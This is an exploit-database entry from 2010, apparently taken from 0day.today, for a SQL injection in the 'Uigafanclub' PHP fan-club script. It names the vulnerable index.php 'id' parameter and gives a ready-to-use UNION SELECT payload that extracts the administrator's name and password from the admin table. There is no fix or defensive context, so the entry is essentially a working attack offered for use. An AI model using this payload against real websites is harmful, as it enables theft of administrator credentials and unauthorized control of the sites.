Uiga Fan Club index.php SQL Injection Vulnerability

2010-02-28T00:00:00
ID 1337DAY-ID-11122
Type zdt
Reporter Easy Laster
Modified 2010-02-28T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===================================================
Uiga Fan Club index.php SQL Injection Vulnerability
===================================================

----------------------------Information------------------------------------------------
+Name : Uigafanclub index.php SQL Injection
+Autor : Easy Laster
+Date   : 28.02.2010
+Script  : Uigafanclub
+Language :PHP
+Discovered by Easy Laster

----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/Uigafanclub/index.php?view=photos&id=
+Exploitable   : www.site.com/Uigafanclub/index.php?view=photos&id=-9999+
Union+Select+1,2,concat(admin_name,0x3a,admin_password),4,5+from+admin--
-----------------------------------------------------------------------------------------



#  0day.today [2018-01-05]  #